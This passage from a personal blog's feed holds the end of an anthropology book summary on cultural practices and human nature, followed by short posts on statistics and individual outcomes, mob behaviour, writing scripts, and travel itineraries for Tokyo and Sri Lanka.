<a href="https://amzn.to/4hOFWeN?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The Conquest of Paradise</a> about the European conquest of the native peoples of America claim that compared to the culture of Europe, the “primal communities” of preconquest America were more “harmonious, peaceful, benign and content.”</li>
<li>Books like   
    
    
<a href="https://amzn.to/3QX9UlV?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The Harmless People</a> paint a picture that the San (formerly known as Bushmen) of the Kalahari Desert in southern Africa are at peace with themselves as well as their environment. Unfortunately for her view of San Harmony, it was later shown that these people had an exceptionally high homicide rate and at an earlier time were warlike as well.</li>
<li>When Tasmanians got separated from the Australian mainland, the 4,000 years of isolation led not to more adaptive cultural forms but to a slow strangulation of the mind. When Europeans came, they exchanged their young women for dogs. By trading young women for dogs, Tasmanian men managed, in a singularly ill-advised choice, both to reduce their food supply and to exacerbate the most glaring problem in their society, interband fighting over women.</li>
<li>Gusii culture was pervaded by sexual hostility even among members of the same clan. For example, in a custom known as   
    
    
<a href="https://journals.co.za/doi/pdf/10.10520/AJA10169717_1037?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Ogosonia</a>, when adolescent boys were recuperating from the effects of being circumcised, adolescent girls from the same clan came to the hut where the boys were secluded. Maliciously, they disrobed, danced provocatively, challenged them to have intercourse, and made disparaging comments about their genitals. The girls were triumphant if their actions resulted in erections that caused the boys intense pain when their partly healed incisions burst open.</li>
<li>After studying Apache shamans, Morris Opler concluded that “… the less he does, the better for the patient.</li>
<li>Montezuma believed that Cortes was the reincarnation of the Aztec god Quetzalcoatl. Disregarding the repeated advice of his council, Montezuma made no effort to stop the Spaniards’ march on his capital. Instead, he showered them with gifts and welcomed them to his palace. His immense and well-armed army waited in vain for orders to destroy the white men who soon proved even to Montezuma that they were anything but godlike.</li>
<li>Few things done in the quest for beauty were more extreme than the Chinese practice of   
    
    
<a href="https://en.wikipedia.org/wiki/Foot_binding?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">binding the feet of women</a>. Chinese men have admired small feet in women since before Confucian times, but the practice of footbinding did not begin until around 1100 A.D. In Victorian times, the same Western women, some of whom were the wives of missionaries in China, who deplored footbinding as a “barbaric” custom willingly had themselves cinched into steel- and whalebone-reinforced canvas corsets so tightly that they had difficulty breathing and their internal organs were sometimes damaged. We need hardly be reminded that many American women (and some men) today endure painful and expensive cosmetic surgery to “beautify” their faces or bodies.</li>
<li>The practice of sending widows or household slaves to the grave with their deceased husbands or masters was known in many parts of the world, including China, Africa, ancient Greece, Scandinavia, and Russia. Many Hindu scriptures, criticized it. For example, In maha nirvana-tantra (verses 79 and 80) it is said that a woman who accepts sati will go to hell.</li>
<li>In Trinidad and Tobago, The Afro-Trinidadians did just as well economically as their Indian counterparts although they are present-time oriented and reveled in their sociable get-togethers (called “fêtes”), while the Indians put their emphasis on the future well-being of their family.</li>
<li>Until quite recently, all societies placed the well-being of adults above that of children, especially the very young, and with few exceptions, men have put their interests above those of women. In the Fore of highland Papua New Guinea, men monopolized access to animal flesh and women and children sought to supplement their diets by eating the flesh of deceased relatives. As a consequence, they contracted kuru, a deadly neurological disease caused by a slow virus communicated through cannibalism.</li>
</ul>
<h3 id="human-nature">Human nature</h3>
<ul>
<li>Fallacies of the human nature:
<ol>
<li>We are prone to accept correlated events as being causally linked.</li>
<li>Humans are predisposed to paranoid ideation, which leads them to suspect the worst of others.</li>
<li>We project our hostility onto others: if we wish harm to others, surely others must wish the same for us.</li>
</ol>
</li>
<li>Western economists use the concept of   
    
    
<a href="https://en.wikipedia.org/wiki/Bounded_rationality?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">bounded rationality</a> to refer to people’s limited ability to receive, store, retrieve, and process information, and economic decision theory takes these limitations into account. Because of these cognitive limitations, along with imperfect knowledge of their environment, people inevitably make imperfect decisions.</li>
<li>A desire for revenge can also destroy a society. The belief that aggression against a member of one’s kin or residential group must be avenged is extremely widespread. Some anthropologists have argued that blood feuding that limits the response of an aggrieved individual or kin group to an equitable killing—an eye for an eye—is adaptive because, in the absence of strong central policy authority, it controls what might otherwise escalate into wholesale retaliation.</li>
<li>Farmers tended to avoid conflict, presumably because their ties to the land made it impossible for them to move away should they make an enemy, while pastoralists could and did move their families and herds if they had a serious quarrel.</li>
<li>Once established, almost any human practice, including divination, feuding, or accusing other people of being witches, can develop some positive social functions for at least some members of a population.</li>
<li>If children were reared in isolation from their elders they would eventually produce a society with rules about incest and marriage, beliefs about the supernatural, initiation ceremonies for the young, gambling, dancing, myths, legends, and everything else that appears to occur everywhere and hence be the product of human nature.</li>
<li>A few individuals can eradicate an unwanted or troublesome aspect of their culture, but these individuals were not ordinary people but were chiefs, nobles, and priests, and people like these have often been able to bring about social change.</li>
<li>Just as many generals were slow to recognize how drastically the machine gun, the tank, or air power would change the nature of warfare, some populations overlook economic or political changes as they steadfastly believe that the future will mirror the past.</li>
<li>Despite the frequency and seriousness of postpartum depression in the United States, the phenomenon appears to be quite rare in nonWestern societies</li>
<li>Traditional Darwinian theory has held that because of forces of natural selection, existing genetic variation must have a positive function, but Motoo Kimura’s   
    
    
<a href="https://en.wikipedia.org/wiki/The_Neutral_Theory_of_Molecular_Evolution?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">neutral theory</a> argues that much of the genetic variation in any species, including humans, is adaptively neutral.</li>
</ul>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Statistical outcomes require statistical games</title><link href="https://ashishb.net/misc/statistical-outcomes-require-statistical-games/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/punjabi-singers/?utm_source=atom_feed" rel="related" type="text/html" title="The science behind Punjabi singers"/><link href="https://ashishb.net/misc/status-symbol/?utm_source=atom_feed" rel="related" type="text/html" title="Status Symbol"/><link href="https://ashishb.net/misc/capitalism-achilles-heel/?utm_source=atom_feed" rel="related" type="text/html" title="The Achilles heel of American capitalism"/><link href="https://ashishb.net/misc/sometimes-the-middle-ground-is-most-empowering/?utm_source=atom_feed" rel="related" type="text/html" title="Sometimes the middle ground is most empowering"/><link href="https://ashishb.net/misc/indians-and-food/?utm_source=atom_feed" rel="related" type="text/html" title="Indians and food"/><id>https://ashishb.net/misc/statistical-outcomes-require-statistical-games/</id><author><name>Ashish Bhatia</name></author><published>2024-08-17T16:00:18+00:00</published><updated>2024-08-17T16:00:18+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why statistics aren&rsquo;t always relevant on an individual level and how they impact life decisions, from parenting to health and career choices.</blockquote><p>Let&rsquo;s say 1% of kids are born with allergies.
The statistic is useful for a public policymaker,
someone who is setting up food menus in schools or regulating restaurants.
However, the statistic is useless for you as a parent. Unless you are planning to have around 10+ kids,
you are never going to experience the statistical outcome.
If you have one child, either the child would have an allergy or he won&rsquo;t.
Statistical outcomes matter only when someone plays a game sufficient times.</p>
<p>The same goes for many of the other statistics.
A man with cancer does not care what the survival rate is.
This man has one life, and he wants to save that.
A doctor treating 100 cancer patients a year can look at it as a statistical problem.</p>
<p>The average returns of the S&amp;P 500 make sense for an investor who purchased SPY.
The average returns of the S&amp;P 500 are meaningless to an employee of a company listed in the S&amp;P 500 list.
She isn&rsquo;t getting average career outcomes. Her career and compensation are tied to one company&rsquo;s performance.</p>
<p>In many ways, this issue is similar to 
<a href="/misc/binary-vs-graded-outcomes/">Binary vs Graded outcomes</a>.</p>
<p>However, there are scenarios where one can only play a binary game.
E.g. most people can hold only one full-time job at a time. Or, even worse, when someone is forced into a binary game.
E.g. when infected by difficult-to-cure diseases.</p>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/></entry><entry><title type="html">Illegal immigrants to Europe via Cairo</title><link href="https://ashishb.net/short-stories/illegal-immigrants-in-cairo/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/unhospitable-airports/?utm_source=atom_feed" rel="related" type="text/html" title="Unhospitable Airports"/><link href="https://ashishb.net/short-stories/real-vs-artificial-world/?utm_source=atom_feed" rel="related" type="text/html" title="Real vs artificial world"/><link href="https://ashishb.net/short-stories/prague-airport/?utm_source=atom_feed" rel="related" type="text/html" title="At the Prague airport"/><link href="https://ashishb.net/short-stories/on-a-bus-with-an-asylee/?utm_source=atom_feed" rel="related" type="text/html" title="On a bus with an asylum seeker"/><link href="https://ashishb.net/short-stories/currency-issues-in-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="Currency issues in Argentina"/><id>https://ashishb.net/short-stories/illegal-immigrants-in-cairo/</id><author><name>Ashish Bhatia</name></author><published>2024-08-10T16:00:58+00:00</published><updated>2024-08-10T16:00:58+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the intriguing journey of Indians in Cairo heading to Europe for illegal immigration, driven by labor shortages and potential amnesty in southern Europe.</blockquote><p>While traveling in the streets of 
<a href="/travel/egypt/">Cairo</a> or Qahira/क़ाहिरा, I came across a group of Indians who didn&rsquo;t look like tourists.</p>
<p>As I inquired, I learned they were heading to Serbia and planning to immigrate to Greece illegally!</p>
<p>What was the plan there? Work on the farm for a few years and during the next round of amnesty become legal!</p>
<p>The plan works, primarily, because southern Europe is devoid of labor and to prevent an outright collapse of agriculture, the local politicians are supportive of illegal immigration.</p>
<p>And, eventually, to increase the tax base, the government brings amnesty every few years.</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/></entry><entry><title type="html">Tokyo in three days</title><link href="https://ashishb.net/travel/tokyo-japan/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/hiking-mt-fuji/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking Mt. Fuji"/><link href="https://ashishb.net/travel/kyoto-japan/?utm_source=atom_feed" rel="related" type="text/html" title="Kyoto in three days"/><link href="https://ashishb.net/travel/sri-lanka/?utm_source=atom_feed" rel="related" type="text/html" title="Sri Lanka in 5 days"/><link href="https://ashishb.net/travel/singapore/?utm_source=atom_feed" rel="related" type="text/html" title="Singapore in 4 days"/><link href="https://ashishb.net/travel/royal-caribbean-cruise-in-singapore/?utm_source=atom_feed" rel="related" type="text/html" title="Royal Caribbean cruise in Singapore"/><id>https://ashishb.net/travel/tokyo-japan/</id><author><name>Ashish Bhatia</name></author><published>2024-08-03T16:00:53+00:00</published><updated>2024-08-03T16:00:53+00:00</updated><content type="html"><![CDATA[<blockquote>Discover Tokyo&rsquo;s vibrant districts with our guide to Akihabara and Shinjuku! Explore electronics, culture, and nightlife in this bustling Japanese prefecture.</blockquote><p>Tokyo isn&rsquo;t a city per se but a prefecture.
A prefecture is more akin to a county in the US.
Japan has 47 prefectures.
I would recommend two important cities in Tokyo to spend your time in - Akihabara Electronic District and Shinjuku (fancy) District.</p>
<p>While public transport is great, payment requires cash, iPhone, or Suica cards.
Unfortunately, Android phones sold outside Japan do not have the appropriate NFC to pay.
There are multiple different types of rail companies operating in Tokyo. When you buy a JR pass (please don&rsquo;t) or a 24-hour pass,
it isn&rsquo;t obvious where you can use it.</p>
<h2 id="akihabara">Akihabara</h2>
<p>Start the day with a   
    
    
<a href="https://www.tokyolocalized.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">walking tour</a> of Akihabara.</p>
<p>Afterward, check out, Yodobashi Akiba, the largest electronic mall in the world.
And the 1200-year-old Kanda shrine.</p>
<figure>
    
    <a href="tokyo-kanda-shrine-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tokyo-kanda-shrine-1024x768.jpg"
         alt=" 1200-year-old Kanda Shrine with red and white structures" width="900"/> </a>
</figure>

<p>Spend the evening in the Ameyoko Shopping district. It is great for both eating out and shopping.</p>
<figure>
    
    <a href="tokyo-ameyoko-shopping-district-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tokyo-ameyoko-shopping-district-768x1024.jpg"
         alt="View of the vibrant Ameyoko Shopping District in Tokyo, bustling with numerous shops and people, ideal for dining and shopping experiences." width="900"/> </a>
</figure>

<p>I would recommend spending at least a day or two in Akihabara.</p>
<h2 id="shinjuku">Shinjuku</h2>
<p>Shinjuku is the fancy glittery city of Japan.
I would recommend starting the day with Shibuya Crossing.
Shibuya Crossing is the busiest pedestrian crossing in the world.</p>
<figure>
    
    <a href="tokyo-shibuya-crossing-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tokyo-shibuya-crossing-1024x768.jpg"
         alt="Shibuya Crossing in Tokyo, crowded with pedestrians, is highlighted, emphasizing its status as the busiest pedestrian crossing globally." width="900"/> </a>
</figure>

<p>In the evening, do another night tour to get insights into Memory Lane (Omoide Yokocho) and the night district.
Memory Lane is known for its narrow allies and small eateries.
Night district is known for Host and hostess clubs!</p>
<figure>
    
    <a href="tokyo-memory-lane-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tokyo-memory-lane-768x1024.jpg"
         alt="A vibrant night scene in Tokyo&#39;s Shinjuku district, showcasing narrow alleys filled with lit signs and bustling small eateries, emphasizing a lively, colorful atmosphere." width="900"/> </a>
</figure>

<figure>
    
    <a href="tokyo-shinjuku-night-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tokyo-shinjuku-night-1-1024x768.jpg"
         alt="A bustling Tokyo street scene, illuminated at night, with vibrant neon lights and signs in Japanese text, showcasing the lively urban atmosphere." width="900"/> </a>
</figure>

<p>In a nation of 140 million people, there are 100 million vending machines in Japan.
Fairly priced and convenient to use.</p>
<figure>
    
    <a href="japan-vending-machines-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="japan-vending-machines-1024x768.jpg"
         alt="A vending machine in Japan, surrounded by greenery" width="900"/> </a>
</figure>

<h2 id="go-around-tokyo">Go around Tokyo</h2>
<p>Visit the Tokyo Metropolitan Government Building Observatories to see the Tokyo skyline.
It is completely free.
And you might get a chance to see someone playing Piano as well!</p>
<figure>
    
    <a href="tokyo-skyline-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tokyo-skyline-1024x768.jpg"
         alt="Tokyo skyline with high-rise buildings" width="900"/> </a>
</figure>

<p>And then check out the iconic monorail.</p>
<figure>
    
    <a href="tokyo-view-from-monorail-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tokyo-view-from-monorail-768x1024.jpg"
         alt="A view from a monorail in Tokyo, providing a perspective of the city&#39;s skyline with skyscrapers and urban landscape in the background." width="900"/> </a>
</figure>

<p>Note</p>
<ol>
<li>Almost all food labels are in Japanese, so, Google Translate is unavoidable before buying food.</li>
<li>Most chains accept credit cards. Most small restaurants accepted only cash.</li>
<li>
<a href="/tag/india/">Indian</a> food is easy to find. And since it is targeted at locals, it is not expensive. Indian food is the best choice for vegetarians.   
    
    
<a href="https://www.venusdining.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Venu</a> and   
    
    
<a href="https://m.facebook.com/vegkitchentokyo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Veg Kitchen</a> were the best ones in Akihabara.</li>
<li>Vegetarian rice + seaweed snack is widely available in all convenience stores.</li>
<li>Public transport from Narita airport to Tokyo city would cost about ~1100 yen each way.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/japan" term="japan" label="japan"/><category scheme="https://ashishb.net/tag/asia" term="asia" label="asia"/></entry><entry><title type="html">Mobs are Status Games</title><link href="https://ashishb.net/politics/mobs-are-status-games/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/politics/american-elections/?utm_source=atom_feed" rel="related" type="text/html" title="American Elections"/><link href="https://ashishb.net/politics/green-card-limbo/?utm_source=atom_feed" rel="related" type="text/html" title="The unanchored babies of the green card limbo"/><link href="https://ashishb.net/politics/rohtak-riots/?utm_source=atom_feed" rel="related" type="text/html" title="Rohtak Riots"/><link href="https://ashishb.net/politics/thoughts-on-bureaucrats-technocrats-and-politicians/?utm_source=atom_feed" rel="related" type="text/html" title="Thoughts on Bureaucrats, Technocrats and Politicians"/><link href="https://ashishb.net/politics/beyond-numbers-dealing-with-terrorism/?utm_source=atom_feed" rel="related" type="text/html" title="Beyond Numbers: Dealing with terrorism in India"/><id>https://ashishb.net/politics/mobs-are-status-games/</id><author><name>Ashish Bhatia</name></author><published>2024-07-27T16:00:53+00:00</published><updated>2024-07-27T16:00:53+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the dynamics of mob behavior, driven by status games and slogans. Discover why mobs can be unpredictable and more dangerous than organized groups.</blockquote><p>Unlike an army or a militia, mobs are loosely held groups of individuals. Mobs are held together by some identification (race, ethnicity, shared belief towards a cause, etc.). While an army/militia is more top-down, a mob is bottoms-up in many cases. A mob leader exercises much less control over the mob than an army chief. And that&rsquo;s why mobs are much more dangerous.</p>
<p>So, how do mobs decide what to do then? Humans are inherently status conscious. And it&rsquo;s the inherent status game among mob members that decide what that will do. The first person shouts a slogan. The second one throws a stone at the glass window. The third one, to outrank the first two, breaks the glass fully. The fourth one breaks into the business. And the fifth one enters the store and throws the stuff out for other mob members to grab.</p>
<p>So, next time you are wondering how the mob will act, look at their slogans. The slogans decide the direction the mob will take.</p>
]]></content><category scheme="https://ashishb.net/category/politics" term="politics" label="politics"/></entry><entry><title type="html">Writing Script matters as much as the spoken language</title><link href="https://ashishb.net/linguistics/written-script/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/linguistics/avagraha-symbol/?utm_source=atom_feed" rel="related" type="text/html" title="Mac shortcut for typing Avagraha symbol"/><link href="https://ashishb.net/linguistics/sound-of-ch/?utm_source=atom_feed" rel="related" type="text/html" title='The sound of "ch"'/><link href="https://ashishb.net/linguistics/%C9%9B-sound/?utm_source=atom_feed" rel="related" type="text/html" title="The English ɛ - a popular vowel missing in Indic languages"/><link href="https://ashishb.net/linguistics/how-to-pronounce-tharman-shanmugaratnam/?utm_source=atom_feed" rel="related" type="text/html" title="Musings of transliteration: Tharman Shanmugaratnam's name"/><link href="https://ashishb.net/linguistics/monolingualism/?utm_source=atom_feed" rel="related" type="text/html" title="Monolingualism"/><id>https://ashishb.net/linguistics/written-script/</id><author><name>Ashish Bhatia</name></author><published>2024-07-20T16:00:15+00:00</published><updated>2024-07-20T16:00:15+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how language links culture in surprising ways. Explore the linguistic ties between Canada-USA and Mexico-Spain, and the unity found in shared scripts.</blockquote><p>Language isn&rsquo;t just a means of communication, but it is the medium of propagating culture.
That&rsquo;s why culturally Canada is similar to the USA while Mexico (and the rest of Latin America) to Spain.
One huge advantage the USA has over Europe is that practically everyone speaks a single language.
A Californian can fly 6 hours to New York City, and feel just at home, with the same language and thus,
a similar culture.</p>
<p>One huge advantage of the European Union over India is the same Latin writing script everywhere except in Bulgaria and Greece.</p>
<p>When a non-Spanish speaker sees a panaderia in Spain, he might not know what he means.
When he walks into it a few times, he associates &ldquo;panaderia&rdquo; with a bakery.
That&rsquo;s not true for a Tamilian in Varanasi, he sees &ldquo;भोजनालय&rdquo; and even though he might be able to
guess &ldquo;bhojan -&gt; food&rdquo; and &ldquo;aalaya -&gt; house&rdquo;, the Devanagari symbols are a bit too far apart from
the Tamilian script to decipher. This is even though both the scripts are of the same alphasyllabary type
(having a character/व्यंजन and a character modifier/मात्रा), a writing system unique to Indosphere.</p>
]]></content><category scheme="https://ashishb.net/category/linguistics" term="linguistics" label="linguistics"/></entry><entry><title type="html">Sri Lanka in 5 days</title><link href="https://ashishb.net/travel/sri-lanka/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/ceylon-air-force-sanskrit/?utm_source=atom_feed" rel="related" type="text/html" title="Sanskrit and Sri Lankan Air Force"/><link href="https://ashishb.net/travel/hiking-mt-fuji/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking Mt. Fuji"/><link href="https://ashishb.net/travel/kyoto-japan/?utm_source=atom_feed" rel="related" type="text/html" title="Kyoto in three days"/><link href="https://ashishb.net/travel/tokyo-japan/?utm_source=atom_feed" rel="related" type="text/html" title="Tokyo in three days"/><link href="https://ashishb.net/travel/singapore/?utm_source=atom_feed" rel="related" type="text/html" title="Singapore in 4 days"/><id>https://ashishb.net/travel/sri-lanka/</id><author><name>Ashish Bhatia</name></author><published>2024-07-13T16:00:08+00:00</published><updated>2024-07-13T16:00:08+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Sri Lanka&rsquo;s rich Hindu heritage with our detailed 5-day itinerary, featuring iconic temples, scenic hikes, and cultural gems—perfect for spiritual adventurers.</blockquote><p>Sri Lanka is a small island country near the southern coast of India.
My trip was heavily focused on Ramayana and Hinduism.
While I loved it, those who have little interest in Hinduism might find the trip.
Like 
<a href="/travel/kerala/">Kerala</a> and 
<a href="/travel/gorkhaland-west-bengal-and-sikkim/">Sikkim</a>, I had a chauffered guide for the trip.
I would highly recommend doing that, otherwise, a packed trip becomes harder to pull off.
You can see a list of   
    
    
<a href="https://guides.ashishb.net/country/sri-lanka?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">recommended guides</a> here.</p>
<iframe loading="lazy"
        src="https://www.google.com/maps/d/embed?mid=1lcjyzfxxXcdDP3XkrikfqIJryfFi4ZA"
        width="900"
        height="480">
</iframe>

<h2 id="day-1---chilaw-and-trincomalee">Day 1 - Chilaw and Trincomalee</h2>
<p>We started the journey from   
    
    
<a href="https://www.munneswaram.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sri Munneswaram Devasthanam/श्री मुन्नेश्वर देवस्थानम्</a>.
This is the temple where Rāma prayed after killing Rāvaṇa to get rid of   
    
    
<a href="https://anarghyaa.com/collections/brahma-hathi-dosham?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Brahm hatya dosham</a>.</p>
<figure>
    
    <a href="munneswaram-devasthanam-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="munneswaram-devasthanam-768x1024.jpg"
         alt="Sri Munneswaram Devasthanam" width="900"/> </a>
</figure>

<p>Manavari/मानावरी Kovil is nearby. Kovil means temple in Tamiḻ.
Manavari Kovil is the first place where Rāma installed a Shivling.</p>
<figure>
    
    <a href="manavari-kovil-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="manavari-kovil-768x1024.jpg"
         alt="A temple with traditional architecture is seen, identified as Manavari Kovil, where Rāma first installed a Shivling, marking a significant Hindu site." width="900"/> </a>
</figure>

<p>From here begins a 6-hour-long drive to Trincomalee.
For those interested in Buddhist stupas, Anuradhapura is on the way.
However, we were short on time, so, we had to directly head to Trincomalee.</p>
<p>Our first stop in Trincomalee was Shri Badrakali Amman/श्री भद्रकाली अम्मा Hindu Temple.</p>
<figure>
    
    <a href="badrakali-amman-temple-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="badrakali-amman-temple-768x1024.jpg"
         alt="A Hindu temple with ornate architectural details and steep steps, identified as Shri Badrakali Amman Temple, serves as a religious site and tourist attraction." width="900"/> </a>
</figure>

<p>Our next stop was Thirukoneswaram/तिरुकोणेश्वरम Kovil.
This temple was built on the instructions of Shiva for his ardent follower Rāvaṇa.</p>
<figure>
    
    <a href="thirukoneshwaram-kovil-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="thirukoneshwaram-kovil-1024x768.jpg"
         alt="A temple is seen with intricate architecture, surrounded by green foliage, highlighting its cultural and historical significance rooted in Hindu mythology related to Shiva and Rāvaṇa." width="900"/> </a>
</figure>

<h2 id="day-2---sigiriya-dambulla-and-kandy">Day 2 - Sigiriya, Dambulla and Kandy</h2>
<p>Sigiriya mountain is a famous hike in Sri Lanka. Sigiriya comes from the Sanskrit words &ldquo;Simha + giri&rdquo; meaning &ldquo;the lion mountain&rdquo;.
There are 1200 steps to the top. This place used to be one of the Rāvaṇa palaces.
The entrance fee is expensive (USD 35) with a 50% discount for SAARC citizens.
It takes about 1.5 hours to reach the top.</p>
<figure>
    
    <a href="Sigiriya-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Sigiriya-1-1024x768.jpg"
         alt="Sigiriya" width="900"/> </a>
</figure>

<figure>
    
    <a href="Sigiriya-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Sigiriya-2-1024x768.jpg"
         alt="Sigiriya" width="900"/> </a>
</figure>

<figure>
    
    <a href="Sigiriya-3-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Sigiriya-3-768x1024.jpg"
         alt="Sigiriya" width="900"/> </a>
</figure>

<figure>
    
    <a href="Sigiriya-4-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Sigiriya-4-1024x768.jpg"
         alt="Sigiriya" width="900"/> </a>
</figure>

<p>Our next stop was Dambulla Royal Cave temple. There are only 300 steps to the top. The ticket was 2000 LKR (no SAARC discount).
I would recommend taking a guided tour (750 LKR) here.</p>
<figure>
    
    <a href="Dambulla-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Dambulla-1-1024x768.jpg"
         alt="Dambulla Royal Cave Temple" width="900"/> </a>
</figure>

<figure>
    
    <a href="Dambulla-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Dambulla-2-1024x768.jpg"
         alt="Dambulla Royal Cave Temple" width="900"/> </a>
</figure>

<figure>
    
    <a href="Dambulla-3-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Dambulla-3-1024x768.jpg"
         alt="Dambulla Royal Cave Temple" width="900"/> </a>
</figure>

<p>While getting down, go down the left side, and you will reach the Golden Temple, which is one of the largest statues of Buddha in Dharma-chakra position.</p>
<figure>
    
    <a href="Dambulla-golden-temple-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Dambulla-golden-temple-768x1024.jpg"
         alt="Dambulla Golden Temple" width="900"/> </a>
</figure>

<p>In the evening, we visited the Dalada Maligawa Temple. The entrance fee is 2000 LKR (1500 LKR for SAARC).
Like the Buddha temple in 
<a href="/travel/singapore/">Singapore</a>, this also claims to have Buddha&rsquo;s tooth relic.
If you are planning to see the Kandyan dance show, aim to see one at 4:30 PM.</p>
<figure>
    
    <a href="Kandy-dalada-maligawa-temple-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Kandy-dalada-maligawa-temple-1024x768.jpg"
         alt="The Temple of the Tooth in Kandy is a temple with ornate architecture, surrounded by greenery" width="900"/> </a>
</figure>

<h2 id="day-3---hilly-drive-from-kandy-to-ella">Day 3 - Hilly drive from Kandy to Ella</h2>
<p>Our first stop of the day was Hanuman Temple Ramboda.
This is the place where the forest-dweller/vānara Hanumāna is believed to have taken a stop while heading to Ashoka Vātikā to meet Rāma&rsquo;s wife Sitā.
The temple, however, was built recently in 1999 by Chinmaya Mission.
The area is called Ramboda or Ram&rsquo;s force as it is believed that this is where the Ram&rsquo;s vānara gathered before attacking Rāvaṇapura to the south.</p>
<figure>
    
    <a href="Ramboda-Hanuman-temple-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Ramboda-Hanuman-temple-768x1024.jpg"
         alt="A temple believed to be significant in the Ramayana, associated with Hanuman and located in a lush, forested area" width="900"/> </a>
</figure>

<p>Our second stop was the Seeta Eliya or the Sita Mata temple. This is the place where Sitā was kept captive by Rāvaṇa.</p>
<figure>
    
    <a href="Sita-mata-temple-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Sita-mata-temple-768x1024.jpg"
         alt="A temple exterior surrounded by lush greenery, identified as Seeta Eliya or the Sita Mata temple, associated with Sita&#39;s captivity by Ravana." width="900"/> </a>
</figure>

<p>Our last stop of the day was the place of Sita&rsquo;s Agnipariksha/अग्निपरीक्षास्थल. This is these days a Buddhist Temple, &ldquo;Divurumwela Raja Maha Viharaya&rdquo;.
However, the priest here is a great guide who will tell us the detailed history of Rāvaṇapura.
Most people staying in Kandy do the first two stops and skip this one.
However, I highly recommend doing this.</p>
<figure>
    
    <a href="Sita-agniparikshasthal-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Sita-agniparikshasthal-1024x768.jpg"
         alt="Sita agniparikshasthal" width="900"/> </a>
</figure>

<h2 id="day-4---ella-to-mirissa">Day 4 - Ella to Mirissa</h2>
<p>Ella seems to be the most famous among Europeans (including Russians). The moderate climate does help.
The city, however, is pretty expensive compared to Kandy or Trincomalee.</p>
<p>Our first stop here was Rāvaṇa&rsquo;s cave. The entrance fee is 200 LKR.</p>
<figure>
    
    <a href="Ravan-cave-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Ravan-cave-1024x768.jpg"
         alt="A cave entrance is seen with instructions for a 200 LKR fee. It suggests bringing a headlamp for exploring, although access inside is limited." width="900"/> </a>
</figure>

<p>Do carry a headlamp for this. You still, however, can&rsquo;t go too far here.</p>
<p>Our second stop was Ravana waterfall.
